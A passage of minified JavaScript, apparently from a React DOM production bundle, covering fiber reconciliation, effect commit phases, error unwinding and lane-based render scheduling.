e;default:r=!1}}r&&(t.flags|=4)}t.ref!==null&&(t.flags|=512,t.flags|=2097152)}return xt(t),null;case 6:if(e&&t.stateNode!=null)R0(e,t,e.memoizedProps,r);else{if(typeof r!="string"&&t.stateNode===null)throw Error(I(166));if(n=Uo($a.current),Uo(er.current),Vl(t)){if(r=t.stateNode,n=t.memoizedProps,r[Gn]=t,(i=r.nodeValue!==n)&&(e=en,e!==null))switch(e.tag){case 3:Bl(r.nodeValue,n,(e.mode&1)!==0);break;case 5:e.memoizedProps.suppressHydrationWarning!==!0&&Bl(r.nodeValue,n,(e.mode&1)!==0)}i&&(t.flags|=4)}else r=(n.nodeType===9?n:n.ownerDocument).createTextNode(r),r[Gn]=t,t.stateNode=r}return xt(t),null;case 13:if(Fe(He),r=t.memoizedState,e===null||e.memoizedState!==null&&e.memoizedState.dehydrated!==null){if(Ue&&Jt!==null&&t.mode&1&&!(t.flags&128))Wy(),xs(),t.flags|=98560,i=!1;else if(i=Vl(t),r!==null&&r.dehydrated!==null){if(e===null){if(!i)throw Error(I(318));if(i=t.memoizedState,i=i!==null?i.dehydrated:null,!i)throw Error(I(317));i[Gn]=t}else xs(),!(t.flags&128)&&(t.memoizedState=null),t.flags|=4;xt(t),i=!1}else Tn!==null&&(Af(Tn),Tn=null),i=!0;if(!i)return t.flags&65536?t:null}return t.flags&128?(t.lanes=n,t):(r=r!==null,r!==(e!==null&&e.memoizedState!==null)&&r&&(t.child.flags|=8192,t.mode&1&&(e===null||He.current&1?lt===0&&(lt=3):rp())),t.updateQueue!==null&&(t.flags|=4),xt(t),null);case 4:return Cs(),_f(e,t),e===null&&ja(t.stateNode.containerInfo),xt(t),null;case 10:return $h(t.type._context),xt(t),null;case 17:return Ht(t.type)&&Du(),xt(t),null;case 19:if(Fe(He),i=t.memoizedState,i===null)return xt(t),null;if(r=(t.flags&128)!==0,s=i.rendering,s===null)if(r)ta(i,!1);else{if(lt!==0||e!==null&&e.flags&128)for(e=t.child;e!==null;){if(s=Bu(e),s!==null){for(t.flags|=128,ta(i,!1),r=s.updateQueue,r!==null&&(t.updateQueue=r,t.flags|=4),t.subtreeFlags=0,r=n,n=t.child;n!==null;)i=n,e=r,i.flags&=14680066,s=i.alternate,s===null?(i.childLanes=0,i.lanes=e,i.child=null,i.subtreeFlags=0,i.memoizedProps=null,i.memoizedState=null,i.updateQueue=null,i.dependencies=null,i.stateNode=null):(i.childLanes=s.childLanes,i.lanes=s.lanes,i.child=s.child,i.subtreeFlags=0,i.deletions=null,i.memoizedProps=s.memoizedProps,i.memoizedState=s.memoizedState,i.updateQueue=s.updateQueue,i.type=s.type,e=s.dependencies,i.dependencies=e===null?null:{lanes:e.lanes,firstContext:e.firstContext}),n=n.sibling;return je(He,He.current&1|2),t.child}e=e.sibling}i.tail!==null&&et()>Es&&(t.flags|=128,r=!0,ta(i,!1),t.lanes=4194304)}else{if(!r)if(e=Bu(s),e!==null){if(t.flags|=128,r=!0,n=e.updateQueue,n!==null&&(t.updateQueue=n,t.flags|=4),ta(i,!0),i.tail===null&&i.tailMode==="hidden"&&!s.alternate&&!Ue)return xt(t),null}else 2*et()-i.renderingStartTime>Es&&n!==1073741824&&(t.flags|=128,r=!0,ta(i,!1),t.lanes=4194304);i.isBackwards?(s.sibling=t.child,t.child=s):(n=i.last,n!==null?n.sibling=s:t.child=s,i.last=s)}return i.tail!==null?(t=i.tail,i.rendering=t,i.tail=t.sibling,i.renderingStartTime=et(),t.sibling=null,n=He.current,je(He,r?n&1|2:n&1),t):(xt(t),null);case 22:case 23:return np(),r=t.memoizedState!==null,e!==null&&e.memoizedState!==null!==r&&(t.flags|=8192),r&&t.mode&1?Gt&1073741824&&(xt(t),t.subtreeFlags&6&&(t.flags|=8192)):xt(t),null;case 24:return null;case 25:return null}throw Error(I(156,t.tag))}function SC(e,t){switch(jh(t),t.tag){case 1:return Ht(t.type)&&Du(),e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 3:return Cs(),Fe(Vt),Fe(Et),Wh(),e=t.flags,e&65536&&!(e&128)?(t.flags=e&-65537|128,t):null;case 5:return Hh(t),null;case 13:if(Fe(He),e=t.memoizedState,e!==null&&e.dehydrated!==null){if(t.alternate===null)throw Error(I(340));xs()}return e=t.flags,e&65536?(t.flags=e&-65537|128,t):null;case 19:return Fe(He),null;case 4:return Cs(),null;case 10:return $h(t.type._context),null;case 22:case 23:return np(),null;case 24:return null;default:return null}}var Zl=!1,St=!1,EC=typeof WeakSet=="function"?WeakSet:Set,Y=null;function Fi(e,t){var n=e.ref;if(n!==null)if(typeof n=="function")try{n(null)}catch(r){qe(e,t,r)}else n.current=null}function kf(e,t,n){try{n()}catch(r){qe(e,t,r)}}var Jm=!1;function _C(e,t){if(uf=Ou,e=Ly(),Mh(e)){if("selectionStart"in e)var n={start:e.selectionStart,end:e.selectionEnd};else e:{n=(n=e.ownerDocument)&&n.defaultView||window;var r=n.getSelection&&n.getSelection();if(r&&r.rangeCount!==0){n=r.anchorNode;var o=r.anchorOffset,i=r.focusNode;r=r.focusOffset;try{n.nodeType,i.nodeType}catch{n=null;break e}var s=0,a=-1,l=-1,u=0,c=0,f=e,d=null;t:for(;;){for(var m;f!==n||o!==0&&f.nodeType!==3||(a=s+o),f!==i||r!==0&&f.nodeType!==3||(l=s+r),f.nodeType===3&&(s+=f.nodeValue.length),(m=f.firstChild)!==null;)d=f,f=m;for(;;){if(f===e)break t;if(d===n&&++u===o&&(a=s),d===i&&++c===r&&(l=s),(m=f.nextSibling)!==null)break;f=d,d=f.parentNode}f=m}n=a===-1||l===-1?null:{start:a,end:l}}else n=null}n=n||{start:0,end:0}}else n=null;for(cf={focusedElem:e,selectionRange:n},Ou=!1,Y=t;Y!==null;)if(t=Y,e=t.child,(t.subtreeFlags&1028)!==0&&e!==null)e.return=t,Y=e;else for(;Y!==null;){t=Y;try{var w=t.alternate;if(t.flags&1024)switch(t.tag){case 0:case 11:case 15:break;case 1:if(w!==null){var g=w.memoizedProps,x=w.memoizedState,v=t.stateNode,p=v.getSnapshotBeforeUpdate(t.elementType===t.type?g:_n(t.type,g),x);v.__reactInternalSnapshotBeforeUpdate=p}break;case 3:var y=t.stateNode.containerInfo;y.nodeType===1?y.textContent="":y.nodeType===9&&y.documentElement&&y.removeChild(y.documentElement);break;case 5:case 6:case 4:case 17:break;default:throw Error(I(163))}}catch(C){qe(t,t.return,C)}if(e=t.sibling,e!==null){e.return=t.return,Y=e;break}Y=t.return}return w=Jm,Jm=!1,w}function Sa(e,t,n){var r=t.updateQueue;if(r=r!==null?r.lastEffect:null,r!==null){var o=r=r.next;do{if((o.tag&e)===e){var i=o.destroy;o.destroy=void 0,i!==void 0&&kf(t,n,i)}o=o.next}while(o!==r)}}function Sc(e,t){if(t=t.updateQueue,t=t!==null?t.lastEffect:null,t!==null){var n=t=t.next;do{if((n.tag&e)===e){var r=n.create;n.destroy=r()}n=n.next}while(n!==t)}}function Rf(e){var t=e.ref;if(t!==null){var n=e.stateNode;switch(e.tag){case 5:e=n;break;default:e=n}typeof t=="function"?t(e):t.current=e}}function P0(e){var t=e.alternate;t!==null&&(e.alternate=null,P0(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&(delete t[Gn],delete t[za],delete t[hf],delete t[aC],delete t[lC])),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function T0(e){return e.tag===5||e.tag===3||e.tag===4}function ev(e){e:for(;;){for(;e.sibling===null;){if(e.return===null||T0(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;e.tag!==5&&e.tag!==6&&e.tag!==18;){if(e.flags&2||e.child===null||e.tag===4)continue e;e.child.return=e,e=e.child}if(!(e.flags&2))return e.stateNode}}function Pf(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.nodeType===8?n.parentNode.insertBefore(e,t):n.insertBefore(e,t):(n.nodeType===8?(t=n.parentNode,t.insertBefore(e,n)):(t=n,t.appendChild(e)),n=n._reactRootContainer,n!=null||t.onclick!==null||(t.onclick=Mu));else if(r!==4&&(e=e.child,e!==null))for(Pf(e,t,n),e=e.sibling;e!==null;)Pf(e,t,n),e=e.sibling}function Tf(e,t,n){var r=e.tag;if(r===5||r===6)e=e.stateNode,t?n.insertBefore(e,t):n.appendChild(e);else if(r!==4&&(e=e.child,e!==null))for(Tf(e,t,n),e=e.sibling;e!==null;)Tf(e,t,n),e=e.sibling}var ht=null,Rn=!1;function $r(e,t,n){for(n=n.child;n!==null;)N0(e,t,n),n=n.sibling}function N0(e,t,n){if(Jn&&typeof Jn.onCommitFiberUnmount=="function")try{Jn.onCommitFiberUnmount(mc,n)}catch{}switch(n.tag){case 5:St||Fi(n,t);case 6:var r=ht,o=Rn;ht=null,$r(e,t,n),ht=r,Rn=o,ht!==null&&(Rn?(e=ht,n=n.stateNode,e.nodeType===8?e.parentNode.removeChild(n):e.removeChild(n)):ht.removeChild(n.stateNode));break;case 18:ht!==null&&(Rn?(e=ht,n=n.stateNode,e.nodeType===8?pd(e.parentNode,n):e.nodeType===1&&pd(e,n),Aa(e)):pd(ht,n.stateNode));break;case 4:r=ht,o=Rn,ht=n.stateNode.containerInfo,Rn=!0,$r(e,t,n),ht=r,Rn=o;break;case 0:case 11:case 14:case 15:if(!St&&(r=n.updateQueue,r!==null&&(r=r.lastEffect,r!==null))){o=r=r.next;do{var i=o,s=i.destroy;i=i.tag,s!==void 0&&(i&2||i&4)&&kf(n,t,s),o=o.next}while(o!==r)}$r(e,t,n);break;case 1:if(!St&&(Fi(n,t),r=n.stateNode,typeof r.componentWillUnmount=="function"))try{r.props=n.memoizedProps,r.state=n.memoizedState,r.componentWillUnmount()}catch(a){qe(n,t,a)}$r(e,t,n);break;case 21:$r(e,t,n);break;case 22:n.mode&1?(St=(r=St)||n.memoizedState!==null,$r(e,t,n),St=r):$r(e,t,n);break;default:$r(e,t,n)}}function tv(e){var t=e.updateQueue;if(t!==null){e.updateQueue=null;var n=e.stateNode;n===null&&(n=e.stateNode=new EC),t.forEach(function(r){var o=MC.bind(null,e,r);n.has(r)||(n.add(r),r.then(o,o))})}}function Sn(e,t){var n=t.deletions;if(n!==null)for(var r=0;r<n.length;r++){var o=n[r];try{var i=e,s=t,a=s;e:for(;a!==null;){switch(a.tag){case 5:ht=a.stateNode,Rn=!1;break e;case 3:ht=a.stateNode.containerInfo,Rn=!0;break e;case 4:ht=a.stateNode.containerInfo,Rn=!0;break e}a=a.return}if(ht===null)throw Error(I(160));N0(i,s,o),ht=null,Rn=!1;var l=o.alternate;l!==null&&(l.return=null),o.return=null}catch(u){qe(o,t,u)}}if(t.subtreeFlags&12854)for(t=t.child;t!==null;)O0(t,e),t=t.sibling}function O0(e,t){var n=e.alternate,r=e.flags;switch(e.tag){case 0:case 11:case 14:case 15:if(Sn(t,e),Vn(e),r&4){try{Sa(3,e,e.return),Sc(3,e)}catch(g){qe(e,e.return,g)}try{Sa(5,e,e.return)}catch(g){qe(e,e.return,g)}}break;case 1:Sn(t,e),Vn(e),r&512&&n!==null&&Fi(n,n.return);break;case 5:if(Sn(t,e),Vn(e),r&512&&n!==null&&Fi(n,n.return),e.flags&32){var o=e.stateNode;try{Ta(o,"")}catch(g){qe(e,e.return,g)}}if(r&4&&(o=e.stateNode,o!=null)){var i=e.memoizedProps,s=n!==null?n.memoizedProps:i,a=e.type,l=e.updateQueue;if(e.updateQueue=null,l!==null)try{a==="input"&&i.type==="radio"&&i.name!=null&&Jg(o,i),Xd(a,s);var u=Xd(a,i);for(s=0;s<l.length;s+=2){var c=l[s],f=l[s+1];c==="style"?oy(o,f):c==="dangerouslySetInnerHTML"?ny(o,f):c==="children"?Ta(o,f):bh(o,c,f,u)}switch(a){case"input":Qd(o,i);break;case"textarea":ey(o,i);break;case"select":var d=o._wrapperState.wasMultiple;o._wrapperState.wasMultiple=!!i.multiple;var m=i.value;m!=null?Bi(o,!!i.multiple,m,!1):d!==!!i.multiple&&(i.defaultValue!=null?Bi(o,!!i.multiple,i.defaultValue,!0):Bi(o,!!i.multiple,i.multiple?[]:"",!1))}o[za]=i}catch(g){qe(e,e.return,g)}}break;case 6:if(Sn(t,e),Vn(e),r&4){if(e.stateNode===null)throw Error(I(162));o=e.stateNode,i=e.memoizedProps;try{o.nodeValue=i}catch(g){qe(e,e.return,g)}}break;case 3:if(Sn(t,e),Vn(e),r&4&&n!==null&&n.memoizedState.isDehydrated)try{Aa(t.containerInfo)}catch(g){qe(e,e.return,g)}break;case 4:Sn(t,e),Vn(e);break;case 13:Sn(t,e),Vn(e),o=e.child,o.flags&8192&&(i=o.memoizedState!==null,o.stateNode.isHidden=i,!i||o.alternate!==null&&o.alternate.memoizedState!==null||(ep=et())),r&4&&tv(e);break;case 22:if(c=n!==null&&n.memoizedState!==null,e.mode&1?(St=(u=St)||c,Sn(t,e),St=u):Sn(t,e),Vn(e),r&8192){if(u=e.memoizedState!==null,(e.stateNode.isHidden=u)&&!c&&e.mode&1)for(Y=e,c=e.child;c!==null;){for(f=Y=c;Y!==null;){switch(d=Y,m=d.child,d.tag){case 0:case 11:case 14:case 15:Sa(4,d,d.return);break;case 1:Fi(d,d.return);var w=d.stateNode;if(typeof w.componentWillUnmount=="function"){r=d,n=d.return;try{t=r,w.props=t.memoizedProps,w.state=t.memoizedState,w.componentWillUnmount()}catch(g){qe(r,n,g)}}break;case 5:Fi(d,d.return);break;case 22:if(d.memoizedState!==null){rv(f);continue}}m!==null?(m.return=d,Y=m):rv(f)}c=c.sibling}e:for(c=null,f=e;;){if(f.tag===5){if(c===null){c=f;try{o=f.stateNode,u?(i=o.style,typeof i.setProperty=="function"?i.setProperty("display","none","important"):i.display="none"):(a=f.stateNode,l=f.memoizedProps.style,s=l!=null&&l.hasOwnProperty("display")?l.display:null,a.style.display=ry("display",s))}catch(g){qe(e,e.return,g)}}}else if(f.tag===6){if(c===null)try{f.stateNode.nodeValue=u?"":f.memoizedProps}catch(g){qe(e,e.return,g)}}else if((f.tag!==22&&f.tag!==23||f.memoizedState===null||f===e)&&f.child!==null){f.child.return=f,f=f.child;continue}if(f===e)break e;for(;f.sibling===null;){if(f.return===null||f.return===e)break e;c===f&&(c=null),f=f.return}c===f&&(c=null),f.sibling.return=f.return,f=f.sibling}}break;case 19:Sn(t,e),Vn(e),r&4&&tv(e);break;case 21:break;default:Sn(t,e),Vn(e)}}function Vn(e){var t=e.flags;if(t&2){try{e:{for(var n=e.return;n!==null;){if(T0(n)){var r=n;break e}n=n.return}throw Error(I(160))}switch(r.tag){case 5:var o=r.stateNode;r.flags&32&&(Ta(o,""),r.flags&=-33);var i=ev(e);Tf(e,i,o);break;case 3:case 4:var s=r.stateNode.containerInfo,a=ev(e);Pf(e,a,s);break;default:throw Error(I(161))}}catch(l){qe(e,e.return,l)}e.flags&=-3}t&4096&&(e.flags&=-4097)}function kC(e,t,n){Y=e,L0(e)}function L0(e,t,n){for(var r=(e.mode&1)!==0;Y!==null;){var o=Y,i=o.child;if(o.tag===22&&r){var s=o.memoizedState!==null||Zl;if(!s){var a=o.alternate,l=a!==null&&a.memoizedState!==null||St;a=Zl;var u=St;if(Zl=s,(St=l)&&!u)for(Y=o;Y!==null;)s=Y,l=s.child,s.tag===22&&s.memoizedState!==null?ov(o):l!==null?(l.return=s,Y=l):ov(o);for(;i!==null;)Y=i,L0(i),i=i.sibling;Y=o,Zl=a,St=u}nv(e)}else o.subtreeFlags&8772&&i!==null?(i.return=o,Y=i):nv(e)}}function nv(e){for(;Y!==null;){var t=Y;if(t.flags&8772){var n=t.alternate;try{if(t.flags&8772)switch(t.tag){case 0:case 11:case 15:St||Sc(5,t);break;case 1:var r=t.stateNode;if(t.flags&4&&!St)if(n===null)r.componentDidMount();else{var o=t.elementType===t.type?n.memoizedProps:_n(t.type,n.memoizedProps);r.componentDidUpdate(o,n.memoizedState,r.__reactInternalSnapshotBeforeUpdate)}var i=t.updateQueue;i!==null&&$m(t,i,r);break;case 3:var s=t.updateQueue;if(s!==null){if(n=null,t.child!==null)switch(t.child.tag){case 5:n=t.child.stateNode;break;case 1:n=t.child.stateNode}$m(t,s,n)}break;case 5:var a=t.stateNode;if(n===null&&t.flags&4){n=a;var l=t.memoizedProps;switch(t.type){case"button":case"input":case"select":case"textarea":l.autoFocus&&n.focus();break;case"img":l.src&&(n.src=l.src)}}break;case 6:break;case 4:break;case 12:break;case 13:if(t.memoizedState===null){var u=t.alternate;if(u!==null){var c=u.memoizedState;if(c!==null){var f=c.dehydrated;f!==null&&Aa(f)}}}break;case 19:case 17:case 21:case 22:case 23:case 25:break;default:throw Error(I(163))}St||t.flags&512&&Rf(t)}catch(d){qe(t,t.return,d)}}if(t===e){Y=null;break}if(n=t.sibling,n!==null){n.return=t.return,Y=n;break}Y=t.return}}function rv(e){for(;Y!==null;){var t=Y;if(t===e){Y=null;break}var n=t.sibling;if(n!==null){n.return=t.return,Y=n;break}Y=t.return}}function ov(e){for(;Y!==null;){var t=Y;try{switch(t.tag){case 0:case 11:case 15:var n=t.return;try{Sc(4,t)}catch(l){qe(t,n,l)}break;case 1:var r=t.stateNode;if(typeof r.componentDidMount=="function"){var o=t.return;try{r.componentDidMount()}catch(l){qe(t,o,l)}}var i=t.return;try{Rf(t)}catch(l){qe(t,i,l)}break;case 5:var s=t.return;try{Rf(t)}catch(l){qe(t,s,l)}}}catch(l){qe(t,t.return,l)}if(t===e){Y=null;break}var a=t.sibling;if(a!==null){a.return=t.return,Y=a;break}Y=t.return}}var RC=Math.ceil,Wu=Nr.ReactCurrentDispatcher,Xh=Nr.ReactCurrentOwner,vn=Nr.ReactCurrentBatchConfig,Se=0,ct=null,it=null,pt=0,Gt=0,$i=No(0),lt=0,Ha=null,oi=0,Ec=0,Jh=0,Ea=null,Ut=null,ep=0,Es=1/0,hr=null,Zu=!1,Nf=null,mo=null,Ql=!1,lo=null,Qu=0,_a=0,Of=null,pu=-1,mu=0;function Lt(){return Se&6?et():pu!==-1?pu:pu=et()}function vo(e){return e.mode&1?Se&2&&pt!==0?pt&-pt:cC.transition!==null?(mu===0&&(mu=vy()),mu):(e=Oe,e!==0||(e=window.event,e=e===void 0?16:Sy(e.type)),e):1}function An(e,t,n,r){if(50<_a)throw _a=0,Of=null,Error(I(185));wl(e,n,r),(!(Se&2)||e!==ct)&&(e===ct&&(!(Se&2)&&(Ec|=n),lt===4&&Gr(e,pt)),Wt(e,r),n===1&&Se===0&&!(t.mode&1)&&(Es=et()+500,xc&&Oo()))}function Wt(e,t){var n=e.callbackNode;cb(e,t);var r=Nu(e,e===ct?pt:0);if(r===0)n!==null&&hm(n),e.callbackNode=null,e.callbackPriority=0;else if(t=r&-r,e.callbackPriority!==t){if(n!=null&&hm(n),t===1)e.tag===0?uC(iv.bind(null,e)):By(iv.bind(null,e)),iC(function(){!(Se&6)&&Oo()}),n=null;else{switch(gy(r)){case 1:n=kh;break;case 4:n=py;break;case 16:n=Tu;break;case 536870912:n=my;break;default:n=Tu}n=$0(n,A0.bind(null,e))}e.callbackPriority=t,e.callbackNode=n}}function A0(e,t){if(pu=-1,mu=0,Se&6)throw Error(I(327));var n=e.callbackNode;if(Qi()&&e.callbackNode!==n)return null;var r=Nu(e,e===ct?pt:0);if(r===0)return null;if(r&30||r&e.expiredLanes||t)t=Ku(e,r);else{t=r;var o=Se;Se|=2;var i=D0();(ct!==e||pt!==t)&&(hr=null,Es=et()+500,Xo(e,t));do try{NC();break}catch(a){M0(e,a)}while(!0);Fh(),Wu.current=i,Se=o,it!==null?t=0:(ct=null,pt=0,t=lt)}if(t!==0){if(t===2&&(o=rf(e),o!==0&&(r=o,t=Lf(e,o))),t===1)throw n=Ha,Xo(e,0),Gr(e,r),Wt(e,et()),n;if(t===6)Gr(e,r);else{if(o=e.current.alternate,!(r&30)&&!PC(o)&&(t=Ku(e,r),t===2&&(i=rf(e),i!==0&&(r=i,t=Lf(e,i))),t===1))throw n=Ha,Xo(e,0),Gr(e,r),Wt(e,et()),n;switch(e.finishedWork=o,e.finishedLanes=r,t){case 0:case 1:throw Error(I(345));case 2:jo(e,Ut,hr);break;case 3:if(Gr(e,r),(r&130023424)===r&&(t=ep+500-et(),10<t)){if(Nu(e,0)!==0)break;if(o=e.suspendedLanes,(o&r)!==r){Lt(),e.pingedLanes|=e.suspendedLanes&o;break}e.timeoutHandle=ff(jo.bind(null,e,Ut,hr),t);break}jo(e,Ut,hr);break;case 4:if(Gr(e,r),(r&4194240)===r)break;for(t=e.eventTimes,o=-1;0<r;){var s=31-Ln(r);i=1<<s,s=t[s],s>o&&(o=s),r&=~i}if(r=o,r=et()-r,r=(120>r?120:480>r?480:1080>r?1080:1920>r?1920:3e3>r?3e3:4320>r?4320:1960*RC(r/1960))-r,10<r){e.timeoutHandle=ff(jo.bind(null,e,Ut,hr),r);break}jo(e,Ut,hr);break;case 5:jo(e,Ut,hr);break;default:throw Error(I(329))}}}return Wt(e,et()),e.callbackNode===n?A0.bind(null,e):null}function Lf(e,t){var n=Ea;return e.current.memoizedState.isDehydrated&&(Xo(e,t).flags|=256),e=Ku(e,t),e!==2&&(t=Ut,Ut=n,t!==null&&Af(t)),e}function Af(e){Ut===null?Ut=e:Ut.push.apply(Ut,e)}function PC(e){for(var t=e;;){if(t.flags&16384){var n=t.updateQueue;if(n!==null&&(n=n.stores,n!==null))for(var r=0;r<n.length;r++){var o=n[r],i=o.getSnapshot;o=o.value;try{if(!Dn(i(),o))return!1}catch{return!1}}}if(n=t.child,t.subtreeFlags&16384&&n!==null)n.return=t,t=n;else{if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return!0;t=t.return}t.sibling.return=t.return,t=t.sibling}}return!0}function Gr(e,t){for(t&=~Jh,t&=~Ec,e.suspendedLanes|=t,e.pingedLanes&=~t,e=e.expirationTimes;0<t;){var n=31-Ln(t),r=1<<n;e[n]=-1,t&=~r}}function iv(e){if(Se&6)throw Error(I(327));Qi();var t=Nu(e,0);if(!(t&1))return Wt(e,et()),null;var n=Ku(e,t);if(e.tag!==0&&n===2){var r=rf(e);r!==0&&(t=r,n=Lf(e,r))}if(n===1)throw n=Ha,Xo(e,0),Gr(e,t),Wt(e,et()),n;if(n===6)throw Error(I(345));return e.finishedWork=e.current.alternate,e.finishedLanes=t,jo(e,Ut,hr),Wt(e,et()),null}function tp(e,t){var n=Se;Se|=1;try{return e(t)}finally{Se=n,Se===0&&(Es=et()+500,xc&&Oo())}}function ii(e){lo!==null&&lo.tag===0&&!(Se&6)&&Qi();var t=Se;Se|=1;var n=vn.transition,r=Oe;try{if(vn.transition=null,Oe=1,e)return e()}finally{Oe=r,vn.transition=n,Se=t,!(Se&6)&&Oo()}}function np(){Gt=$i.current,Fe($i)}function Xo(e,t){e.finishedWork=null,e.finishedLanes=0;var n=e.timeoutHandle;if(n!==-1&&(e.timeoutHandle=-1,oC(n)),it!==null)for(n=it.return;n!==null;){var r=n;switch(jh(r),r.tag){case 1:r=r.type.childContextTypes,r!=null&&Du();break;case 3:Cs(),Fe(Vt),Fe(Et),Wh();break;case 5:Hh(r);break;case 4:Cs();break;case 13:Fe(He);break;case 19:Fe(He);break;case 10:$h(r.type._context);break;case 22:case 23:np()}n=n.return}if(ct=e,it=e=go(e.current,null),pt=Gt=t,lt=0,Ha=null,Jh=Ec=oi=0,Ut=Ea=null,$o!==null){for(t=0;t<$o.length;t++)if(n=$o[t],r=n.interleaved,r!==null){n.interleaved=null;var o=r.next,i=n.pending;if(i!==null){var s=i.next;i.next=o,r.next=s}n.pending=r}$o=null}return e}function M0(e,t){do{var n=it;try{if(Fh(),du.current=Hu,Vu){for(var r=Qe.memoizedState;r!==null;){var o=r.queue;o!==null&&(o.pending=null),r=r.next}Vu=!1}if(ri=0,ut=st=Qe=null,Ca=!1,Ua=0,Xh.current=null,n===null||n.return===null){lt=1,Ha=t,it=null;break}e:{var i=e,s=n.return,a=n,l=t;if(t=pt,a.flags|=32768,l!==null&&typeof l=="object"&&typeof l.then=="function"){var u=l,c=a,f=c.tag;if(!(c.mode&1)&&(f===0||f===11||f===15)){var d=c.alternate;d?(c.updateQueue=d.updateQueue,c.memoizedState=d.memoizedState,c.lanes=d.lanes):(c.updateQueue=null,c.memoizedState=null)}var m=Zm(s);if(m!==null){m.flags&=-257,Qm(m,s,a,i,t),m.mode&1&&Wm(i,u,t),t=m,l=u;var w=t.updateQueue;if(w===null){var g=new Set;g.add(l),t.updateQueue=g}else w.add(l);break e}else{if(!(t&1)){Wm(i,u,t),rp();break e}l=Error(I(426))}}else if(Ue&&a.mode&1){var x=Zm(s);if(x!==null){!(x.flags&65536)&&(x.flags|=256),Qm(x,s,a,i,t),Ih(Ss(l,a));break e}}i=l=Ss(l,a),lt!==4&&(lt=2),Ea===null?Ea=[i]:Ea.push(i),i=s;do{switch(i.tag){case 3:i.flags|=65536,t&=-t,i.lanes|=t;var v=g0(i,l,t);Fm(i,v);break e;case 1:a=l;var p=i.type,y=i.stateNode;if(!(i.flags&128)&&(typeof p.getDerivedStateFromError=="function"||y!==null&&typeof y.componentDidCatch=="function"&&(mo===null||!mo.has(y)))){i.flags|=65536,t&=-t,i.lanes|=t;var C=y0(i,a,t);Fm(i,C);break e}}i=i.return}while(i!==null)}I0(n)}catch(_){t=_,it===n&&n!==null&&(it=n=n.return);continue}break}while(!0)}function D0(){var e=Wu.current;return Wu.current=Hu,e===null?Hu:e}function rp(){(lt===0||lt===3||lt===2)&&(lt=4),ct===null||!(oi&268435455)&&!(Ec&268435455)||Gr(ct,pt)}function Ku(e,t){var n=Se;Se|=2;var r=D0();(ct!==e||pt!==t)&&(hr=null,Xo(e,t));do try{TC();break}catch(o){M0(e,o)}while(!0);if(Fh(),Se=n,Wu.current=r,it!==null)throw Error(I(261));return ct=null,pt=0,lt}function TC(){for(;it!==null;)j0(it)}function NC(){for(;it!==null&&!tb();)j0(it)}function j0(e){var t=F0(e.alternate,e,Gt);e.memoizedProps=e.pendingProps,t===null?I0(e):it=t,Xh.current=null}function I0(e){var t=e;do{var n=t.alternate;if(e=t.return,t.flags&32768){if(n=SC(n,t),n!==null){n.flags&=32767,it=n;return}if(e!==null)e.flags|=32768,e.subtreeFlags=0,e.deletions=null;else{lt=6,it=null;return}}else if(n=CC(n,t,Gt),n!==null){it=n;return}if(t=t.sibling,t!==null){it=t;return}it=t=e}while(t!==null);lt===0&&(lt=5)}function jo(e,t,n){var r=Oe,o=vn.transition;try{vn.transition=null,Oe=1,OC(e,t,n,r)}finally{vn.transition=o,Oe=r}return null}function OC(e,t,n,r){do Qi();while(lo!==null);if(Se&6)throw Error(I(327));n=e.finishedWork;var o=e.finishedLanes;if(n===null)return null;if(e.finishedWork=null,e.finishedLanes=0,n===e.current)throw Error(I(177));e.callbackNode=null,e.callbackPriority=0;var i=n.lanes|n.childLanes;if(db(e,i),e===ct&&(it=ct=null,pt=0),!(n.subtreeFlags&2064)&&!(n.flags&2064)||Ql||(Ql=!0,$0(Tu,function(){return Qi(),null})),i=(n.flags&15990)!==0,n.subtreeFlags&15990||i){i=vn.transition,vn.transition=null;var s=Oe;Oe=1;var a=Se;Se|=4,Xh.current=null,_C(e,n),O0(n,e),qb(cf),Ou=!!uf,cf=uf=null,e.current=n,kC(n),nb(),Se=a,Oe=s,vn.transition=i}else e.current=n;if(Ql&&(Ql=!1,lo=e,Qu=o),i=e.pendingLanes,i===0&&(mo=null),ib(n.stateNode),Wt(e,et()),t!==null)for(r=e.onRecoverableError,n=0;n<t.length;n++)o=t[n],r(o.value,{componentStack:o.stack,digest:o.digest});if(Zu)throw Zu=!1,e=Nf,Nf=null,e;return Qu&1&&e.tag!==0&&Qi(),i=e.pendingLanes,i&1?e===Of?_a++:(_a=0,Of=e):_a=0,Oo(),null}function Qi(){if(lo!==null){var e=gy(Qu),t=vn.transition,n=Oe;try{if(vn.transition=null,Oe=16>e?16:e,lo===null)var r=!1;else{if(e=lo,lo=null,Qu=0,Se&6)throw Error(I(331));var o=Se;for(Se|=4,Y=e.current;Y!==null;){var i=Y,s=i.child;if(Y.flags&16){var a=i.deletions;if(a!==null){for(var l=0;l<a.length;l++){var u=a[l];for(Y=u;Y!==null;){var c=Y;switch(c.tag){case 0:case 11:case 15:Sa(8,c,i)}var f=c.child;if(f!==null)f.return=c,Y=f;else for(;Y!==null;){c=Y;var d=c.sibling,m=c.return;if(P0(c),c===u){Y=null;break}if(d!==null){d.return=m,Y=d;break}Y=m}}}var w=i.alternate;if(w!==null){var g=w.child;if(g!==null){w.child=null;do{var x=g.sibling;g.sibling=null,g=x}while(g!==null)}}Y=i}}if(i.subtreeFlags&2064&&s!==null)s.return=i,Y=s;else e:for(;Y!==null;){if(i=Y,i.flags&2048)switch(i.tag){case 0:case 11:case 15:Sa(9,i,i.return)}var v=i.sibling;if(v!==null){v.return=i.return,Y=v;break e}Y=i.return}}var p=e.current;for(Y=p;Y!==null;){s=Y;var y=s.child;if(s.subtreeFlags&2064&&y!==null)y.return=s,Y=y;else e:for(s=p;Y!==null;){if(a=Y,a.flags&2048)try{switch(a.tag){case 0:case 11:case 15:Sc(9,a)}}catch(_){qe(a,a.return,_)}if(a===s){Y=null;break e}var C=a.sibling;if(C!==null){C.return=a.return,Y=C;break e}Y=a.return}}if(Se=o,Oo(),Jn&&typeof Jn.onPostCommitFiberRoot=="function")try{Jn.onPostCommitFiberRoot(mc,e)}catch{}r=!0}return r}finally{Oe=n,vn.transition=t}}return!1}function 